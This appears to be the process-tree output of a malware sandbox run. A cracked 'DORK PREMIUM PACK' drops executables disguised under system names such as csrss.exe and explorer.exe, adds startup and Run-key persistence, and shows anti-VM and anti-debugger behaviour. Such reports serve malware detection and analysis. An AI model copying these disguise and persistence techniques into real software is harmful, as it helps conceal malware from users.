C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4104 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2700 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6200 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6428 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4444 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4100 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7128 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6996 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6064 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7152 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6236 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7400 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7820 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6908 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1836 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7472 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=7272 /prefetch:22⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6344 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1948 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7216 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:12⤵
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\nwjs-v0.71.1-win-x64.zip"2⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Program Files\Windows Mail\comSvc.exe"C:\Program Files\Windows Mail\comSvc.exe"1⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\628ec20f-a69d-47db-b7dc-ddc048a64635.vbs"2⤵
-
C:\Program Files\Windows Mail\comSvc.exe"C:\Program Files\Windows Mail\comSvc.exe"3⤵
- Executes dropped EXE
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\07236d14-3fd1-409b-9be2-21ddbaeee93e.vbs"2⤵
-
C:\Users\Default User\csrss.exe"C:\Users\Default User\csrss.exe"1⤵
- Executes dropped EXE
-
C:\Program Files\7-Zip\Lang\Registry.exe"C:\Program Files\7-Zip\Lang\Registry.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\DORK PREMIUM PACK.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\DORK PREMIUM PACK.exe"1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"2⤵
- Executes dropped EXE
- Drops startup file
- Suspicious behavior: AddClipboardFormatListener
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\crack.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\crack.exe"1⤵
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"1⤵
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"1⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"1⤵
- Checks computer location settings
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exeC:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\nwjs\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" --annotation=plat=Win64 --annotation=prod=nwjs --annotation=ver= --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffbaf7cecc8,0x7ffbaf7cecd8,0x7ffbaf7cece82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exeC:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\nwjs\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=nwjs --annotation=ver= --initial-client-data=0x1d8,0x1dc,0x1e0,0x1d4,0x1e4,0x7ff78c28dea0,0x7ff78c28deb0,0x7ff78c28dec03⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=2204 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --start-stack-profiler --mojo-platform-channel-handle=2108 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --nwjs --extension-process --event-path-policy=0 --first-renderer-process --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\gen" --no-zygote --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=3128 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:12⤵
- Checks computer location settings
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --start-stack-profiler --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1840 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:22⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=3860 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=4040 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=4048 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=4052 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=4064 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"1⤵
- Checks computer location settings
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exeC:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\nwjs\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" --annotation=plat=Win64 --annotation=prod=nwjs --annotation=ver= --initial-client-data=0x200,0x204,0x208,0x1e0,0x20c,0x7ffbafa0ecc8,0x7ffbafa0ecd8,0x7ffbafa0ece82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exeC:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\nwjs\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=nwjs --annotation=ver= --initial-client-data=0x1d8,0x1dc,0x1e4,0x1b4,0x1e8,0x7ff78c28dea0,0x7ff78c28deb0,0x7ff78c28dec03⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --start-stack-profiler --mojo-platform-channel-handle=2144 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --start-stack-profiler --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=68 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:22⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=2252 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --nwjs --extension-process --event-path-policy=0 --first-renderer-process --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\gen" --no-zygote --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2856 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:12⤵
- Checks computer location settings
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=3600 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=3772 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=3668 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=3784 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=3308 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:82⤵
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\notification_helper.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\notification_helper.exe"1⤵
-
C:\DriverHostCrtNet\services.exeC:\DriverHostCrtNet\services.exe1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default1⤵
- Adds Run key to start application
- Enumerates system info in registry
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffba94c46f8,0x7ffba94c4708,0x7ffba94c47182⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2204,11238805053843931585,14098667295274492128,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2216 /prefetch:22⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2204,11238805053843931585,14098667295274492128,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 /prefetch:32⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2204,11238805053843931585,14098667295274492128,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2872 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2204,11238805053843931585,14098667295274492128,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3196 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2204,11238805053843931585,14098667295274492128,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3400 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2204,11238805053843931585,14098667295274492128,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4092 /prefetch:82⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Program Files\Windows Mail\comSvc.exe"C:\Program Files\Windows Mail\comSvc.exe"1⤵
-
C:\Users\All Users\SoftwareDistribution\explorer.exe"C:\Users\All Users\SoftwareDistribution\explorer.exe"1⤵
-
C:\DriverHostCrtNet\videos.exeC:\DriverHostCrtNet\videos.exe1⤵
-
C:\Program Files\Uninstall Information\chrome.exe"C:\Program Files\Uninstall Information\chrome.exe"1⤵
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork\Dork.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork\Dork.exe"1⤵
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork\lib.cfglib.cfg2⤵
-
C:\ProgramData\UserOOBE\UserOOBE.exeC:\ProgramData\\UserOOBE\\UserOOBE.exe ,.2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\ProgramData\winsrvhost\winsrvhost.exeC:\ProgramData\\winsrvhost\\winsrvhost.exe vI2hRL2hQNbpQ0aLXXO2Q8kidViQmYXdhDiFYxcUyEDvnrv3yUQsgv7VuepWZe4I2⤵
-
C:\Users\Default User\csrss.exe"C:\Users\Default User\csrss.exe"1⤵
-
